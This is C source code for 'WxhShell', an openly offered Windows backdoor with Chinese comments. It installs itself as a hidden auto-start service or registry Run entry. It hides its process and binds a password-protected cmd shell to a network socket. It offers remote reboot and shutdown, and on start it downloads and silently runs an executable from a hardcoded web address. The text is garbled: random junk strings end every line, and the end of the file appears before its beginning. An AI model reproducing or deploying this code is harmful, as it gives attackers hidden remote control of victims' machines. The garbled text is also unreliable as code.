    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ong""K4H  
    if(Boot(SHUTDOWN)) wzh ]97b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L\e>B>u  
    else { M4KWN'  
    closesocket(wsh); Gf0,RH+  
    ExitThread(0); {U"^UuU]  
    } }mZV L~|V  
    break; yfEb  
    } W%o|0j\1GU  
  // 获取shell cSK&[>i)4  
  case 's': { 0y~<%`~  
    CmdShell(wsh); .VM3D0aV  
    closesocket(wsh); UXH"si:  
    ExitThread(0); !VP %v&jKm  
    break; T5|c$doQ  
  } a}gk T]  
  // 退出 8;8c"'Mn  
  case 'x': { q'G,!];qL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \NK-L."[  
    CloseIt(wsh); }$kQs!#  
    break; Puh$%;x  
    } aY)2eY  
  // 离开 _M t Qi  
  case 'q': { g5S?nHS}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sbo^"&%w  
    closesocket(wsh); WR#0<cz(  
    WSACleanup(); PB53myDQ  
    exit(1); XIAeCU  
    break; Quzo8 u  
        } p $ouh  
  } QTmZ( >z  
  } ,=BLnsg  
.Cz %:%9  
  // 提示信息 * R d#{Io7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6CCbBA  
} ^"i~ DC  
  } wX,F`e3"/  
;%Hf)F  
  return; ?La Ued'  
} @Uo6>-W F  
&:5\"b  
// shell模块句柄 L]d-33.c!H  
int CmdShell(SOCKET sock) EQ<RDhC@b  
{ feX^~gM  
STARTUPINFO si; j1-,Sqi  
ZeroMemory(&si,sizeof(si)); r$(~j^<s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =f1B,%7G+5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hs+kr?Pg`  
PROCESS_INFORMATION ProcessInfo; T vtm`Yk\  
char cmdline[]="cmd"; {9LWUCpsf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LF*&(NC  
  return 0; 0;.<~;@h  
} JkQ\)^5v  
;V5yXNQ   
// 自身启动模式 ~1kXUWq3  
int StartFromService(void) k2 Q qZxm!  
{ v~|?3/{Q  
typedef struct (%_n!ip^  
{ f)Xr!7  
  DWORD ExitStatus; {ZsdLF#  
  DWORD PebBaseAddress; 0?0Jz  
  DWORD AffinityMask; 'CR)`G_'[  
  DWORD BasePriority; j&R+2%  
  ULONG UniqueProcessId; ArK]0$T   
  ULONG InheritedFromUniqueProcessId; Te,$M3|  
}   PROCESS_BASIC_INFORMATION; 9 QC.TG@  
-&2B@]]  
PROCNTQSIP NtQueryInformationProcess; sOU_j:A80;  
[I;^^#'P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5W? v'"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,*I@  
kAA>FI6  
  HANDLE             hProcess; H%F>@(U  
  PROCESS_BASIC_INFORMATION pbi; :G5uocVk  
HQP}w%8x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tr&M~Lgb)  
  if(NULL == hInst ) return 0; O,@~L$a:YZ  
&>g'$a<[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PU<PhuMd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M]]pTU((  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O1&b]C#  
[K/m  
  if (!NtQueryInformationProcess) return 0; tWeFEVg  
>slm$~rv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5Por "&%  
  if(!hProcess) return 0; ufV!+$C)is  
bi4f]^hQz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A]0:8@k5  
*J|(jdu7  
  CloseHandle(hProcess); <[:o !$  
?:{sH#ua  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RDqFL.-S  
if(hProcess==NULL) return 0; . #lsic8]  
:Y,BdU  
HMODULE hMod; K14^JAdY/  
char procName[255]; ao_4mSB  
unsigned long cbNeeded; '(Gi F  
$Fkaa<9;P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b89a)k>^g  
$j}OB6^I  
  CloseHandle(hProcess); \%Ves@hG>  
6z0@I*  
if(strstr(procName,"services")) return 1; // 以服务启动 XQ%4L-rhN  
YKmsQ(q`N  
  return 0; // 注册表启动 %WTEv?I{Ga  
} d[p;T\?"  
L|-98]8>  
// 主模块 Q6gt+FKU9  
int StartWxhshell(LPSTR lpCmdLine) 1923N]b  
{ Y6i _!z[V[  
  SOCKET wsl; G;NF5`*4mc  
BOOL val=TRUE; dovZ#D@Q  
  int port=0; gKLyL]kAGz  
  struct sockaddr_in door; &8.NT~"Gg  
05yZad*  
  if(wscfg.ws_autoins) Install(); )SryDRT  
W&(k!6<x  
port=atoi(lpCmdLine); !-`Cp3gqHr  
*]hBGr#6  
if(port<=0) port=wscfg.ws_port; goat<\a  
m7EcnQf  
  WSADATA data; E%oY7.~-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  j~j jX  
p'7*6bj1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e:H26SW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tCxF~L@  
  door.sin_family = AF_INET; p G1WXbqW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m,C1J%{^  
  door.sin_port = htons(port); lif&@o f  
FR2= las"z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \^I>Q _LU  
closesocket(wsl); BH]Ynu&o  
return 1; akw,P$i  
} bVP"(H]  
STZPYeXE  
  if(listen(wsl,2) == INVALID_SOCKET) { s,#>m*Rh  
closesocket(wsl); <)+y=m\eJ  
return 1; +)zOer,  
} `.s({/|[  
  Wxhshell(wsl); sf&]u;^DY  
  WSACleanup(); V%$/#sza  
oh# \]c\f  
return 0; 8-<:i  
0TpK#OlI|c  
} qC F5~;7  
][}0#'/mV  
// 以NT服务方式启动 O G<,- 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c'/l,k  
{ |5Xq0nvCe  
DWORD   status = 0; U9b?i$  
  DWORD   specificError = 0xfffffff; ~4"qV_M  
WA dCF-S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D %Xo&V[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; quY:pqG38q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ca+5=+X7  
  serviceStatus.dwWin32ExitCode     = 0; eX@L3BKp  
  serviceStatus.dwServiceSpecificExitCode = 0; F:x [  
  serviceStatus.dwCheckPoint       = 0; .r*2|  
  serviceStatus.dwWaitHint       = 0; ;a:[8Yi  
LL:_L<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %*BlWk!Q  
  if (hServiceStatusHandle==0) return; 4apL4E"r  
vpmj||\-  
status = GetLastError(); .\>v0Du  
  if (status!=NO_ERROR) MEB it  
{ cnTaJ/o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vWAL^?HUP  
    serviceStatus.dwCheckPoint       = 0; I`NjqyTW  
    serviceStatus.dwWaitHint       = 0; #g6.Glz3  
    serviceStatus.dwWin32ExitCode     = status; U&O: _>~  
    serviceStatus.dwServiceSpecificExitCode = specificError; N-lkYL-%\j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sr8cYLm5R  
    return; ]U"94S U:)  
  } 8OgLn?"P  
H;RwO@v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "AE5 V'  
  serviceStatus.dwCheckPoint       = 0; Omd .9  
  serviceStatus.dwWaitHint       = 0; ]+X@ 7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t.mVO]dsj  
} -GxaV #{  
m*JaXa  
// 处理NT服务事件,比如:启动、停止 eJg8,7WC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5oAK8I  
{ | Bi!  
switch(fdwControl) G^ :C+/)  
{ l\i)$=d&g  
case SERVICE_CONTROL_STOP: (+0v<uR^D  
  serviceStatus.dwWin32ExitCode = 0; >y"+ -7V)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =>-Rnc@  
  serviceStatus.dwCheckPoint   = 0; #ep`nf0x  
  serviceStatus.dwWaitHint     = 0; 'inFKy'H  
  { )ut&@]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F w?[lS  
  } M3.do^ss  
  return; A0Qb 5e  
case SERVICE_CONTROL_PAUSE: $< JaLS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }}59V&'t  
  break; 4 r45i:  
case SERVICE_CONTROL_CONTINUE: A}l3cP; `#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dkz=CY3p%X  
  break; q.;u?,|E/  
case SERVICE_CONTROL_INTERROGATE: s7F.sg  
  break; 4t=G   
}; LGn:c;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }4,L%$@n  
} 'dn]rV0(C  
DMOMh#[  
// 标准应用程序主函数 kDsFR#w&`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \.-bZ$  
{ T:~vk.Or  
FYpzQ6s~  
// 获取操作系统版本 x7Yu I  
OsIsNt=GetOsVer(); V-BiF>+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m^zUmrj[  
6e |*E`I  
  // 从命令行安装 HAa; hb  
  if(strpbrk(lpCmdLine,"iI")) Install(); *}*FX+px)  
tS6qWtE  
  // 下载执行文件 \2h!aRWR  
if(wscfg.ws_downexe) { F1yqxWHeo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a^I\ /&aw'  
  WinExec(wscfg.ws_filenam,SW_HIDE); aht[4(XH5  
} cz8T  
lgk  .CC  
if(!OsIsNt) { e~=;c  
// 如果时win9x,隐藏进程并且设置为注册表启动 GB=X5<;  
HideProc(); LU!a'H'Q  
StartWxhshell(lpCmdLine); $| @ (  
} gDpVeBd[  
else 1ukTA@Rj&  
  if(StartFromService()) ?Wlb3;  
  // 以服务方式启动 , K~}\CR  
  StartServiceCtrlDispatcher(DispatchTable); {ttysQ-  
else ?82xdp g  
  // 普通方式启动 7fZDs j:  
  StartWxhshell(lpCmdLine); = %TWX[w  
9dx/hFA  
return 0; ) b (B  
} asppRL||  
Hx?;fl'G%  
{'NvG  
, s"^kFl  
=========================================== N2;B-UF 7  
f6&iy$@   
0Qf,@^zL*  
P/W XaE4  
[M=7M}f;  
ig/xv  
" cK(C&NK  
z7fp#>uw  
#include <stdio.h> Jdj2~pTq  
#include <string.h> I&x=;   
#include <windows.h> *XIF)Q=<>  
#include <winsock2.h> kaVxT_  
#include <winsvc.h> iv J@=pd)B  
#include <urlmon.h> _Tm3<o.  
qm/22:&v5  
#pragma comment (lib, "Ws2_32.lib") hcsP2 0s  
#pragma comment (lib, "urlmon.lib") *`5.|{<j{  
A P?R"%  
#define MAX_USER   100 // 最大客户端连接数 D2Kp|F;  
#define BUF_SOCK   200 // sock buffer tEvut=k'  
#define KEY_BUFF   255 // 输入 buffer vN;N/mL  
2K/4Rf0;  
#define REBOOT     0   // 重启 nAsh:6${  
#define SHUTDOWN   1   // 关机 <L8'!q}  
UGV+/zxIM  
#define DEF_PORT   5000 // 监听端口 ;n*.W|Uph  
=O5pY9UO  
#define REG_LEN     16   // 注册表键长度 #A JDWelD  
#define SVC_LEN     80   // NT服务名长度 YYBDRR"  
KQ% GIz x  
// 从dll定义API 8Fz#A.%P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z]_wjYn Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {EB;h\C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZbW17@b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y!w`YYKP  
wd8 l$*F*  
// wxhshell配置信息 *&^Pj%DX  
struct WSCFG { N/"{.3{W  
  int ws_port;         // 监听端口 84& $^lNV  
  char ws_passstr[REG_LEN]; // 口令 |4;Fd9q^m  
  int ws_autoins;       // 安装标记, 1=yes 0=no `EA\u]PwQ  
  char ws_regname[REG_LEN]; // 注册表键名 hF~n)oQ  
  char ws_svcname[REG_LEN]; // 服务名 Rq'S>#e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PR#exm&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +>6iYUa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gwuI-d^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o,\$ZxSlm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :^6y7&o[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *K8$eDNZ  
U)] oO  
}; /K@XzwM  
;PF<y9M  
// default Wxhshell configuration &R'c.  
struct WSCFG wscfg={DEF_PORT, aFX=C >M  
    "xuhuanlingzhe", UNu#(nP  
    1,  dVtG/0  
    "Wxhshell", 6_GhO@lOG  
    "Wxhshell", itt3.:y  
            "WxhShell Service", S6Q  
    "Wrsky Windows CmdShell Service", WUn]F~Lt  
    "Please Input Your Password: ", vxBgGl  
  1, e:DCej^z  
  "http://www.wrsky.com/wxhshell.exe", oM>l#><nq  
  "Wxhshell.exe" ~ D j8 z+^  
    }; oGnSPI5KGC  
w e//|fA<  
// 消息定义模块 cJ= 6r :  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q_[o" wq/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]nn98y+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !Iy_UfW  
char *msg_ws_ext="\n\rExit."; V(I8=rVH  
char *msg_ws_end="\n\rQuit."; $Vg>I>i  
char *msg_ws_boot="\n\rReboot..."; EU/C@B2*Dl  
char *msg_ws_poff="\n\rShutdown..."; C_}]`[  
char *msg_ws_down="\n\rSave to "; {H>gtpVy  
mp1@|*Sn  
char *msg_ws_err="\n\rErr!"; F]O`3 e=!  
char *msg_ws_ok="\n\rOK!"; Cw3 a0u  
?=sDM& '  
char ExeFile[MAX_PATH]; J/y83@  
int nUser = 0; O3,jg |,  
HANDLE handles[MAX_USER]; yLvDMPj  
int OsIsNt; #CTE-W"|HE  
D0-3eV -  
SERVICE_STATUS       serviceStatus; &-)N'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0*3R=7_},o  
/l ~p=PK  
// 函数声明 Cv.C;H  
int Install(void); lfow1WRF  
int Uninstall(void); *w`sM%]Rq  
int DownloadFile(char *sURL, SOCKET wsh); Z"xvh81P  
int Boot(int flag); 2*& ^v  
void HideProc(void); q 'yva  
int GetOsVer(void); A:%`wX}  
int Wxhshell(SOCKET wsl); 03X1d-  
void TalkWithClient(void *cs); 6P l<'3&  
int CmdShell(SOCKET sock); (=AWOU+  
int StartFromService(void); W:2( .?  
int StartWxhshell(LPSTR lpCmdLine); kiaw4_  
9s q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tx# Mn~xD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N#_H6TfMG  
L,/%f<wd  
// 数据结构和表定义 .W%)*&WH\  
SERVICE_TABLE_ENTRY DispatchTable[] = b{&)6M)zo  
{ Dcgo%F-W  
{wscfg.ws_svcname, NTServiceMain}, d7;um<%zn  
{NULL, NULL} Se}c[|8  
}; zY{A'<\O  
zR:L! S  
// 自我安装 TF\C@4Z  
int Install(void) IM'r8 V  
{  =j]<t  
  char svExeFile[MAX_PATH]; oJz^|dW  
  HKEY key; +mj y<~\  
  strcpy(svExeFile,ExeFile); JX;G<lev  
&U#|uc!+  
// 如果是win9x系统,修改注册表设为自启动 Q Z  
if(!OsIsNt) { *L^,|   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z@S3ZGe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .|70;  
  RegCloseKey(key); U%QI a TN*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zwjgE6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [}=B8#Jl-C  
  RegCloseKey(key); e X|m  
  return 0; AQvudx)@"  
    } :g0zT[f  
  } uo 8YP<q  
} jV1.Yz (`  
else { EV%gF   
R&k<AZ  
// 如果是NT以上系统,安装为系统服务 \Gvm9M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8Fu(Ft^9  
if (schSCManager!=0) "<1{9  
{ YjKxb9  
  SC_HANDLE schService = CreateService }&J q}j  
  ( :crW9+  
  schSCManager, 0'C1YvF  
  wscfg.ws_svcname, dR,fXQm  
  wscfg.ws_svcdisp, l'_r:b  
  SERVICE_ALL_ACCESS, $%#!bV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (uE!+2C  
  SERVICE_AUTO_START, ]2KihP8z x  
  SERVICE_ERROR_NORMAL, S4z;7z(8+  
  svExeFile, Why`ziks  
  NULL, p_%Rt"!  
  NULL, sUQ@7sTj  
  NULL, 2fd{hJDq;5  
  NULL, H<,gU`&R  
  NULL bq*eH (qx  
  ); \_f(M|  
  if (schService!=0) on `3&0,.  
  { <>rneHl8  
  CloseServiceHandle(schService); m;QMQeGz  
  CloseServiceHandle(schSCManager); hz@bW2S.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E ~<JC"]  
  strcat(svExeFile,wscfg.ws_svcname); rjYJs*#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G_,jgg7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >|UOz&  
  RegCloseKey(key); j A%u 5V  
  return 0; /*mI<[xb  
    } ^<2p~h0 \  
  } 8&slu{M- t  
  CloseServiceHandle(schSCManager); + cN8Y}V  
} X l5 A 'h  
} 1mG-}  
2P0*NQ   
return 1; s;Q!X ?Q  
} @\#td5'  
/PIcqg  
// 自我卸载 }o`76rDN  
int Uninstall(void) (f"4,b^]  
{ _q-*7hCQ`  
  HKEY key; `b$.%S8uj=  
!+v$)3u9  
if(!OsIsNt) { 2BwO!Y[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0@oJFJrO  
  RegDeleteValue(key,wscfg.ws_regname); ud('0 r',D  
  RegCloseKey(key); *$g-:ILRuZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uVrd i?3  
  RegDeleteValue(key,wscfg.ws_regname);  }.6[qk  
  RegCloseKey(key); ( a#BV}=  
  return 0; pv|G^,>#  
  } <RL]  
} (9dl(QSd  
} DB,J3bm  
else { zTU0HR3A  
Y76gJ[y jn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /j.9$H'y  
if (schSCManager!=0) ;:NJCuG  
{ _oeS Uzq.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oUlVI*~ND  
  if (schService!=0) A*BeR0(  
  { Cw&KVw*  
  if(DeleteService(schService)!=0) { H qx-;F~0  
  CloseServiceHandle(schService); xJ.M;SF4  
  CloseServiceHandle(schSCManager); nBYZ}L q  
  return 0; 0</);g}  
  } 0o&5 ]lEe  
  CloseServiceHandle(schService); zdam^o  
  } 6D3B^.r j]  
  CloseServiceHandle(schSCManager); X"%gQ.1|{j  
} )9]PMA?u  
} o }m3y  
vnuN6M{  
return 1; 5v*\Zr5ha  
} jmG~UnM  
CU!Dhm/U  
// 从指定url下载文件 b&U62iq  
int DownloadFile(char *sURL, SOCKET wsh) 2D5StCF$O  
{ #Gi$DMW  
  HRESULT hr; pMM8-R'W-  
char seps[]= "/"; ]7A'7p $Y  
char *token; 493*{  
char *file; 7b+6%fV  
char myURL[MAX_PATH]; hM! a_'  
char myFILE[MAX_PATH]; 5|)W.*Q  
=7UsVn#o  
strcpy(myURL,sURL); UJ2U1H54h  
  token=strtok(myURL,seps); xyXa .  
  while(token!=NULL) 4^<?Wq~  
  { 3Jn ;}  
    file=token; ]6j{@z?{  
  token=strtok(NULL,seps); C;yZ  
  } #GFr`o0$^  
@2i9n  
GetCurrentDirectory(MAX_PATH,myFILE); <:CkgR$/{  
strcat(myFILE, "\\"); ) )Za&S*<  
strcat(myFILE, file); r<$y= B  
  send(wsh,myFILE,strlen(myFILE),0); M"L=L5OH-  
send(wsh,"...",3,0); RxQ*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /yZcDK4  
  if(hr==S_OK) 1|:KQl2q  
return 0; ;hq\  
else Q/Rqa5LI:  
return 1; h{qgEIk&  
8eRLy/`gd  
} yB!dp;gM{  
|I=T @1_D  
// 系统电源模块 -yg7;ff  
int Boot(int flag) `WS&rmq&'  
{ v"0J&7!J  
  HANDLE hToken; DHRlWQox  
  TOKEN_PRIVILEGES tkp; * v#o  
;kKyksxlD  
  if(OsIsNt) { dc'Y `e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m4Zk\,1m.|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -nwypu  
    tkp.PrivilegeCount = 1; F"mmLao  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lEBLZ}}\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |uJ%5y#  
if(flag==REBOOT) { !()Qm,1u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;9#KeA _  
  return 0; 0"SU_j Qzv  
} yt2PU_),  
else { E?@m?@*/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4I[P>  
  return 0; cz$2R  
} /mZE/>&~ ,  
  } 19] E 5'AI  
  else { ee=D1qNu;  
if(flag==REBOOT) { +w~oH=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @(lh%@hO  
  return 0; |vC~HJpuv'  
} E" vS $  
else { hqdDm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1 -b_~DF  
  return 0; %l%HHT  
} K)P%;X  
} ptaKf4P^r  
O".=r}  
return 1; QsW/X0YBv  
} 1 TXioDs=_  
H;"4 C8K7  
// win9x进程隐藏模块 cH)";] k*-  
void HideProc(void) ajpX L  
{ 8?C5L8)  
47B&s   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5-A\9UC*@  
  if ( hKernel != NULL ) & nK<:^n  
  { ./~(7o$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *K; ~!P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S|}L&A  
    FreeLibrary(hKernel); 8cQ'dL`(  
  } t`QENXA}  
Bbp|!+KP{(  
return; TsZ@  
} i@'dH3-kO  
S]{oPc[7  
// 获取操作系统版本 K> e7pu  
int GetOsVer(void) ;n},"&  
{ sR8"3b<qA  
  OSVERSIONINFO winfo; 3 gf1ownC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g\AY|;T  
  GetVersionEx(&winfo); M3Kfd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b`_Q8 J  
  return 1; j+YJbL v  
  else ,z?':TZ  
  return 0; A2Tw<&Tw(  
} ,u!sjx  
aQ~s`^D  
// 客户端句柄模块 D)Dr__x  
int Wxhshell(SOCKET wsl) wA.\i  
{ MO]&bHH7;  
  SOCKET wsh; nj4/#W  
  struct sockaddr_in client; dqAw5[qMJ  
  DWORD myID; eDB;cN  
-{A<.a3P}=  
  while(nUser<MAX_USER) J8D,ZfPN`d  
{ o"SMbj  
  int nSize=sizeof(client); GKCroyor  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9!tW.pK5  
  if(wsh==INVALID_SOCKET) return 1; \j.:3X r  
t g/H2p^Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F1hHe<)  
if(handles[nUser]==0) h7@6T+#WoT  
  closesocket(wsh); A)~6Im  
else B-ESFATc  
  nUser++; "w _aM7x_  
  } i?;Kq~,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'f|o{  
L rPkxmR  
  return 0; B1Oq!k  
} O'~+_ykTl  
hzC>~Ub5  
// 关闭 socket r_.S>]  
void CloseIt(SOCKET wsh) *$*ce|V5  
{ Vz[C=_m  
closesocket(wsh); a: K[ y  
nUser--; CH/rp4NeSy  
ExitThread(0); t >sE x:  
} 8$|=P!7EO  
)CyS#j#=  
// 客户端请求句柄 F&Hrk|a  
void TalkWithClient(void *cs) F<w/PMb  
{ ZG@q`<:j  
IM+ o.@f-  
  SOCKET wsh=(SOCKET)cs;  LIdF 0  
  char pwd[SVC_LEN]; Hr4}3.8  
  char cmd[KEY_BUFF]; O1kl70,`R  
char chr[1]; L4f3X~8,b  
int i,j; 9C i-v/M]  
cGD(.=  
  while (nUser < MAX_USER) { BPHW}F]X  
E!AE4B1bd  
if(wscfg.ws_passstr) { $wU\Js`/S]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u2[w#   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %K QQ,{ b  
  //ZeroMemory(pwd,KEY_BUFF); d5l UGRg  
      i=0; QdC<Sk!G  
  while(i<SVC_LEN) { a}u Sm/S  
. [ mR M  
  // 设置超时 2px|_)i  
  fd_set FdRead; KGpA2Nx  
  struct timeval TimeOut; ]:\dPw`A  
  FD_ZERO(&FdRead); } d }lR  
  FD_SET(wsh,&FdRead); KY N0  
  TimeOut.tv_sec=8; E~:x(5'%d  
  TimeOut.tv_usec=0; %PJQ%~ A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -!9G0h&i|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nxHkv`s k  
Y4(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K4);HJ|=  
  pwd=chr[0]; w`=\5Oa.G  
  if(chr[0]==0xd || chr[0]==0xa) { MJrR[h]  
  pwd=0; YAmb`CP  
  break; >"<Wjr8W!$  
  } 3yXY.>'  
  i++; EZ`{Wnbq  
    }  RX5dO%  
CWS4lx  
  // 如果是非法用户,关闭 socket b_):MQ1{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jNy.Y8E&  
} V470C@  
+t;7tQDVB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xs?o{]Fe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <d_!mKw  
C'X!\}f.b/  
while(1) { :a)u&g@G  
Oc; G(l(  
  ZeroMemory(cmd,KEY_BUFF); I!?}jo3  
&! ?eL  
      // 自动支持客户端 telnet标准   +d;bjo 2  
  j=0; PiYxk+N  
  while(j<KEY_BUFF) { 1sH& sGy7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V$?SR44>nH  
  cmd[j]=chr[0]; 8&aq/4:q0  
  if(chr[0]==0xa || chr[0]==0xd) { J)C/u{o  
  cmd[j]=0; K96<M);:g  
  break; (!N|Kl  
  } JO< wU  
  j++; ?I@W:#>o  
    } ia 73?*mXT  
3%ZOKb"D*  
  // 下载文件 *=c1d o%F  
  if(strstr(cmd,"http://")) { mdg i5v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VU d\QR-  
  if(DownloadFile(cmd,wsh)) W#sU`T   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); # Vha7  
  else I.k *GW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .VzT:4-<Q"  
  } Ez=Olbk  
  else { k)Qtfj}uij  
680o)hh4m>  
    switch(cmd[0]) { :Z z '1C  
  \K!VNB>h  
